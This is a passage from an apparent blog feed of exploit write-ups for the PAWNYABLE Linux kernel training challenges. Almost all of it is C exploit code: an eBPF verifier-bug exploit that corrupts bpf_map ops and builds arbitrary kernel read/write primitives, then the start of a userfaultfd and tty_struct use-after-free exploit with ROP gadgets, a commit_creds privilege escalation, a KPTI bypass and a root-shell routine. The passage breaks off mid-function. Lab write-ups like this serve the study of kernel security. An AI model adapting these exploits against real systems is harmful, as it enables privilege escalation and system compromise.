                    BPF_REG_8),  // arg4 = r8 == (actual_val=1; val=0, mask=0)
      BPF_ALU64_IMM(BPF_MUL, BPF_REG_ARG4,
                    0xf2 - 1),  // arg4 = (0xf2-1) * arg4 == (actual_val=0xf2-1;
                                // val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_ARG4,
          1),  // arg4 = arg4 + 1 == (actual_val=0xf2; val=0x1, mask=0)
      // skb_load_bytes(skb, 0, fp-0x20, (actual_val=0xf2; val=0x1, mask=0))
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),  // fp-0x18 = addr

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s\n&amp;#34;, verifier_log);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  char buf[0x100] = {
      0,
  };
  // Overwrite low byte of bpf_map-&amp;gt;ops
  // (https://elixir.bootlin.com/linux/v5.18.14/source/include/linux/bpf.h#L63)
  uint16_t ops_containing_ret_offset =
      (OPS_CONTAINING_RET_OFFSET - 8 * BPF_MAP_OPS_UPDATE_ELEM_IDX) &amp;amp; 0xffff;
  printf(&amp;#34;ops_containing_ret_offset: 0x%x\n&amp;#34;, ops_containing_ret_offset);
  *(uint16_t*)(&amp;amp;buf[0xf0]) = ops_containing_ret_offset;
  write(socks[1], buf, sizeof(buf));

  close(socks[0]);
  close(socks[1]);
  close(progfd);
}

int corrupted_map_fd;
uint64_t jit_addr;
void find_corrupted_map_and_leak_bpf_map_addr() {
  char verifier_log[0x10000];

  for (int i = 0; i &amp;lt; sizeof(map_spray_fd) / 4; ++i) {
    int cur_map_fd = map_spray_fd[i];
    if (cur_map_fd == mapfd) {
      continue;
    }

    // uint64_t map_val = 0;
    // int ret = bpf_map_update(cur_map_fd, 0, &amp;amp;map_val);
    // printf(&amp;#34;ret: 0x%x, val: 0x%lx\n&amp;#34;, ret, map_val);

    struct bpf_insn insns[] = {
        // BPF_REG_ARG1 == struct __sk_buff
        BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG1,
                    -0x08),  // *(u64*)(fp-0x08) = skb

        // arg1(mapfd)
        BPF_LD_MAP_FD(BPF_REG_ARG1, cur_map_fd),
        // arg2(&amp;amp;key) = fp-0x10 &amp;lt;- 0
        BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
        BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
        // arg3(&amp;amp;val) = fp-0x10 &amp;lt;- 0
        BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_ARG2),
        // arg4(flags)
        BPF_MOV64_IMM(BPF_REG_ARG4, 0),
        // map_update_elem(mapfd, fp-0x10, fp-0x10, 0) or map_lookup_elem(mapfd,
        // fp-0x10) if corrupted
        BPF_EMIT_CALL(BPF_FUNC_map_update_elem),
        BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0, -0x18),

        // arg1(mapfd)
        BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
        // arg2(&amp;amp;key) = fp-0x10 &amp;lt;- 0
        BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
        BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
        // arg3(&amp;amp;val) = fp-0x18 &amp;lt;- return value of map_update_elem or
        // map_lookup_elem.
        BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x18),
        // arg4(flags)
        BPF_MOV64_IMM(BPF_REG_ARG4, 0),
        // map_update_elem(mapfd, fp-0x10, fp-0x18, 0)
        BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN(),
    };

    union bpf_attr prog_attr = {
        .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
        .insn_cnt = sizeof(insns) / sizeof(insns[0]),
        .insns = (uint64_t)insns,
        .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
        .log_level = 2,
        .log_size = sizeof(verifier_log),
        .log_buf = (uint64_t)verifier_log,
    };

    int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
    if (progfd &amp;lt; 0) {
      puts(&amp;#34;============[failed reason]============&amp;#34;);
      printf(&amp;#34;%s\n&amp;#34;, verifier_log);
      fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
    }

    int socks[2];
    if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
      fatal(&amp;#34;socketpair&amp;#34;);
    }
    if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
      fatal(&amp;#34;setsockopt&amp;#34;);
    }

    write(socks[1], &amp;#34;Hello&amp;#34;, 5);

    uint64_t val;
    bpf_map_lookup(mapfd, 0, &amp;amp;val);

    close(socks[0]);
    close(socks[1]);
    close(progfd);

    if (val != 0) {
      jit_addr = val;
      corrupted_map_fd = cur_map_fd;
      return;
    }
  }
}

uint64_t aaw64(uint64_t addr, uint64_t val) {
  char verifier_log[0x10000];

  uint64_t map_val = 1;
  bpf_map_update(mapfd, 0, &amp;amp;map_val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG1,
                  -0x08),  // *(u64*)(fp-0x08) = skb

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(key) = fp-0x10
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // call map_lookup_elem(mapfd, &amp;amp;key(-&amp;gt;0))
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),

      BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),  // r6 = r0 == map_elem
      BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0,
                  0),  // r7 = [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),  // r1 = r7
      BPF_ALU64_IMM(BPF_RSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0x00000000ffffffff)
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0xffffffff00000000)

      BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe),  // r2 = 0x00000000fffffffe
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_2,
                    32),  // r2 = (val=0xfffffffe00000000, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_2,
                    1),  // r2 = (val=0xfffffffe00000001, mask=0)

      // When r1|=r2, r1 = (val=r1.val|r2.val, mask=(r1.mask|r2.mask) &amp;amp;
      // (~this.val)).
      // And if r1.mask == (u64)0, __mark_reg_known -&amp;gt;
      // ___mark_reg_known is called.
      // By this calling then r1&amp;#39;s min and max will be imm.
      // Because (~0xffffffff00000001) &amp;amp; 0xffffffff00000000 == 0 and
      // (~0xfffffffe00000001) &amp;amp; 0xffffffff00000000 == 0x100000000, we must use
      // BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe).
      BPF_ALU64_REG(BPF_OR, BPF_REG_1,
                    BPF_REG_2),  // r1 = (s32_min=1, s32_max=0, u32_min=1,
                                 // u32_max=0).
      BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),  // r1(w1) = (s32_min=1, s32_max=0,
                                            // u32_min=1, u32_max=0).

      BPF_MOV64_REG(
          BPF_REG_2,
          BPF_REG_7),  // r2 = r7 == [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_ALU64_IMM(BPF_AND, BPF_REG_2,
                    0x1),  // r2 = (val=1, mask=0x1)
      BPF_ALU64_REG(BPF_ADD, BPF_REG_1,
                    BPF_REG_2),  // r1 = r1 + r2 == (actual_val = 2; s32_min=1,
                                 // s32_max=1, u32_min=1, u32_max=1) ==
                                 // (actual_val=2; val=1, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_1,
                    -1),  // r1 = r1 + -1 == (actual_val=1; val=0, mask=0)
      BPF_MOV64_REG(BPF_REG_8,
                    BPF_REG_1),  // r8 = r1 == (actual_val=1; val=0, mask=0)

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0),
      // arg3(to) = fp-0x20
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),      // arg3 = fp
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),  // arg3 = arg3(fp)-0x20
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG3,
                  -0x18),  // *(u64*)(fp-0x18) = arg3 == fp-0x20
      // arg4(len)
      BPF_MOV64_REG(BPF_REG_ARG4,
                    BPF_REG_8),  // arg4 = r8 == (actual_val=1; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_MUL, BPF_REG_ARG4,
          0x10 - 1),  // arg4 = 0x0f * arg4 == (actual_val=0x0f; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_ARG4,
          1),  // arg4 = arg4 + 1 == (actual_val=0x10; val=0x1, mask=0)
      // skb_load_bytes(skb, 0, fp-0x20, (actual_val=0x10; val=0x1, mask=0))
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),  // fp-0x18 = addr

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0x10),
      // arg3(to) = addr
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG3, BPF_REG_FP,
                  -0x18),  // arg3 = fp-0x18 == addr
      // arg4(len)
      BPF_MOV64_IMM(BPF_REG_ARG4, 8),
      // skb_load_bytes(skb, 0x10, addr, 8)
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s\n&amp;#34;, verifier_log);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  uint64_t buf[] = {0xdeadbeefcafebebe, addr, val};
  write(socks[1], buf, sizeof(buf));

  close(socks[0]);
  close(socks[1]);
  close(progfd);

  return buf[0];
}
uint64_t aar64(uint64_t addr) {
  char verifier_log[0x10000];

  uint64_t map_val = 1;
  bpf_map_update(mapfd, 0, &amp;amp;map_val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG1,
                  -0x08),  // *(u64*)(fp-0x08) = skb

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(key) = fp-0x10
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // call map_lookup_elem(mapfd, &amp;amp;key(-&amp;gt;0))
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),

      BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),  // r6 = r0 == map_elem
      BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0,
                  0),  // r7 = [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),  // r1 = r7
      BPF_ALU64_IMM(BPF_RSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0x00000000ffffffff)
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0xffffffff00000000)

      BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe),  // r2 = 0x00000000fffffffe
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_2,
                    32),  // r2 = (val=0xfffffffe00000000, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_2,
                    1),  // r2 = (val=0xfffffffe00000001, mask=0)

      // When r1|=r2, r1 = (val=r1.val|r2.val, mask=(r1.mask|r2.mask) &amp;amp;
      // (~this.val)).
      // And if r1.mask == (u64)0, __mark_reg_known -&amp;gt;
      // ___mark_reg_known is called.
      // By this calling then r1&amp;#39;s min and max will be imm.
      // Because (~0xffffffff00000001) &amp;amp; 0xffffffff00000000 == 0 and
      // (~0xfffffffe00000001) &amp;amp; 0xffffffff00000000 == 0x100000000, we must use
      // BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe).
      BPF_ALU64_REG(BPF_OR, BPF_REG_1,
                    BPF_REG_2),  // r1 = (s32_min=1, s32_max=0, u32_min=1,
                                 // u32_max=0).
      BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),  // r1(w1) = (s32_min=1, s32_max=0,
                                            // u32_min=1, u32_max=0).

      BPF_MOV64_REG(
          BPF_REG_2,
          BPF_REG_7),  // r2 = r7 == [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_ALU64_IMM(BPF_AND, BPF_REG_2,
                    0x1),  // r2 = (val=1, mask=0x1)
      BPF_ALU64_REG(BPF_ADD, BPF_REG_1,
                    BPF_REG_2),  // r1 = r1 + r2 == (actual_val = 2; s32_min=1,
                                 // s32_max=1, u32_min=1, u32_max=1) ==
                                 // (actual_val=2; val=1, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_1,
                    -1),  // r1 = r1 + -1 == (actual_val=1; val=0, mask=0)
      BPF_MOV64_REG(BPF_REG_8,
                    BPF_REG_1),  // r8 = r1 == (actual_val=1; val=0, mask=0)

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0),
      // arg3(to) = fp-0x20
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),      // arg3 = fp
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),  // arg3 = arg3(fp)-0x20
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_6,
                  -0x18),  // *(u64*)(fp-0x18) = arg3 == fp-0x20
      // arg4(len)
      BPF_MOV64_REG(BPF_REG_ARG4,
                    BPF_REG_8),  // arg4 = r8 == (actual_val=1; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_MUL, BPF_REG_ARG4,
          0x10 - 1),  // arg4 = 0x0f * arg4 == (actual_val=0x0f; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_ARG4,
          1),  // arg4 = arg4 + 1 == (actual_val=0x10; val=0x1, mask=0)
      // skb_load_bytes(skb, 0, fp-0x20, (actual_val=0x10; val=0x1, mask=0))
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),  // fp-0x18 = addr

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(&amp;amp;key)
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // arg3(&amp;amp;val)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG3, BPF_REG_FP, -0x18),
      // arg4(flags)
      BPF_MOV64_IMM(BPF_REG_ARG4, 0),
      // map_update_elem(mapfd, &amp;amp;key, &amp;amp;val, 0)
      BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s\n&amp;#34;, verifier_log);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  uint64_t buf[] = {0xdeadbeefcafebebe, addr};
  write(socks[1], buf, sizeof(buf));
  bpf_map_lookup(mapfd, 0, &amp;amp;map_val);

  close(socks[0]);
  close(socks[1]);
  close(progfd);

  return map_val;
}

uint64_t jit_addr = 0;

int main() {
  srand(time(NULL));
  char verifier_log[0x10000];

  make_corrupted_map();
  find_corrupted_map_and_leak_bpf_map_addr();

  if (corrupted_map_fd == 0) {
    puts(&amp;#34;[-] Failed to find corrupted bpf_map&amp;#34;);
    return -1;
  }
  printf(&amp;#34;[+] mapfd: %d\n&amp;#34;, mapfd);
  printf(&amp;#34;[+] corrupted_map_fd: %d\n&amp;#34;, corrupted_map_fd);
  printf(&amp;#34;[+] jit_addr: 0x%016lx\n&amp;#34;, jit_addr);

  get_enter_to_continue(&amp;#34;Press enter to exit(cause kernel crash)...&amp;#34;);

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;refernece&#34;&gt;Refernece&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://pawnyable.cafe/linux-kernel/LK06/ebpf.html&#34;&gt;https://pawnyable.cafe/linux-kernel/LK06/ebpf.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://pawnyable.cafe/linux-kernel/LK06/verifier.html&#34;&gt;https://pawnyable.cafe/linux-kernel/LK06/verifier.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://pawnyable.cafe/linux-kernel/LK06/exploit.html&#34;&gt;https://pawnyable.cafe/linux-kernel/LK06/exploit.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>PAWNYABLE LK04: Fleckvieh</title>
      <link>/posts/kernel/pawnyable/pawnyable_lk04/</link>
      <pubDate>Thu, 16 Jan 2025 07:31:14 +0000</pubDate>
      
      <guid>/posts/kernel/pawnyable/pawnyable_lk04/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;lk04-fleckvieh&#34;&gt;LK04: Fleckvieh&lt;/h2&gt;
&lt;h3 id=&#34;using-userfaultfd&#34;&gt;Using userfaultfd&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;792564831&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;792564831&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_using_userfaultfd_and_tty_struct.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/userfaultfd.h&amp;gt;
#include &amp;lt;poll.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;sched.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define VULN_DEVICE_NAME &amp;#34;fleckvieh&amp;#34;
#define VULN_DEV_CMD_ADD 0xf1ec0001
#define VULN_DEV_CMD_DEL 0xf1ec0002
#define VULN_DEV_CMD_GET 0xf1ec0003
#define VULN_DEV_CMD_SET 0xf1ec0004
#define VULN_DEV_MAX_SIZE 0x1000

#define KERNEL_BASE 0xffffffff81000000
#define TTY_STRUCT_MAGIC 0x100005401llu
#define TTY_STRUCT_OPS_OFFSET (0xffffffff81c3c3c0 - KERNEL_BASE)
#define PUSH_RDX_CMP_EAX_POP_RSP_RBP_OFFSET (0xffffffff8109b13a - KERNEL_BASE)
#define PUSH_RDX_CMP_EAX_POP_RSP_RBP \
  (kernel_base + PUSH_RDX_CMP_EAX_POP_RSP_RBP_OFFSET)
#define POP_RDI_OFFSET (0xffffffff8109b0ed - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff810729d0 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_OFFSET (0xffffffff81022fe3 - KERNEL_BASE)
#define POP_RCX (kernel_base + POP_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff81654bdb - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff81072830 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
  (0xffffffff81800e26 -    \
   KERNEL_BASE)  // Offset in the function
                 // swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

void fatal(const char* msg) {
  perror(msg);
  exit(-1);
}

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
  printf(
      &amp;#34;[*] user_cs: 0x%016lx, user_ss: 0x%016lx, user_sp: 0x%016lx, &amp;#34;
      &amp;#34;user_rflags: &amp;#34;
      &amp;#34;0x%016lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
}
static void get_shell() {
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

int register_uffd(void* addr, size_t len, void* (*handler)(void*)) {
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  pthread_t th;
  int uffd = syscall(__NR_userfaultfd, __O_CLOEXEC | O_NONBLOCK);

  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &amp;amp;uffdio_api) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_API)&amp;#34;);
  }

  uffdio_register.range.start = (uint64_t)addr;
  uffdio_register.range.len = len;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &amp;amp;uffdio_register) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_REGISTER)&amp;#34;);
  }

  if (pthread_create(&amp;amp;th, NULL, handler, (void*)(uint64_t)uffd) &amp;lt; 0) {
    fatal(&amp;#34;pthread_create&amp;#34;);
  }

  return uffd;
}

typedef struct {
  int id;
  size_t size;
  char* data;
} request_t;

int vuln_fd = -1;
long vuln_blob_add(size_t size, void* data) {
  request_t req = {.id = 0, .size = size, .data = data};
  return ioctl(vuln_fd, VULN_DEV_CMD_ADD, &amp;amp;req);
}
long vuln_blob_del(int id) {
  request_t req = {.id = id, .size = 0, .data = NULL};
  return ioctl(vuln_fd, VULN_DEV_CMD_DEL, &amp;amp;req);
}
long vuln_blob_get(int id, size_t size, void* data) {
  request_t req = {.id = id, .size = size, .data = data};
  return ioctl(vuln_fd, VULN_DEV_CMD_GET, &amp;amp;req);
}
long vuln_blob_set(int id, size_t size, void* data) {
  request_t req = {.id = id, .size = size, .data = data};
  return ioctl(vuln_fd, VULN_DEV_CMD_SET, &amp;amp;req);
}

cpu_set_t target_cpu;
char char_buf[VULN_DEV_MAX_SIZE];
uint64_t* uint64_buf = (uint64_t*)char_buf;
int vuln_id = -1;
enum vuln_operation_type {
  NONE = 0,
  UAF_READ = 1,
  UAF_WRITE = 2,
} vuln_operation_type;
const char* vuln_spray_dev_name;
int vuln_spray_flags;
int vuln_spray_fds[0x1000];
int vuln_spray_cnt;
static void* userfault_handler(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_handler: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  puts(&amp;#34;[*] userfault_handler: waiting for page fault...&amp;#34;);
  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_handler: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_handler: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(&amp;#34;userfault_handler: msg.event != UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    printf(&amp;#34;[*] userfault_handler: addr=0x%llx, flag=0x%llx\n&amp;#34;,
           msg.arg.pagefault.address, msg.arg.pagefault.flags);

    switch (vuln_operation_type) {
      case NONE:
        break;
      case UAF_READ:
        vuln_blob_del(vuln_id);

        for (int i = 0; i &amp;lt; vuln_spray_cnt; ++i) {
          vuln_spray_fds[i] = open(vuln_spray_dev_name, vuln_spray_flags);
          if (vuln_spray_fds[i] &amp;lt; 0) {
            fatal(&amp;#34;userfault_handler: open(vuln_spray_dev_name)&amp;#34;);
          }
        }

        copy.src = (uint64_t)page;
        break;
      case UAF_WRITE:
        vuln_blob_del(vuln_id);

        for (int i = 0; i &amp;lt; vuln_spray_cnt; ++i) {
          vuln_spray_fds[i] = open(vuln_spray_dev_name, vuln_spray_flags);
          if (vuln_spray_fds[i] &amp;lt; 0) {
            fatal(&amp;#34;userfault_handler: open(vuln_spray_dev_name)&amp;#34;);
          }
        }

        copy.src = (uint64_t)char_buf;
        break;
      default:
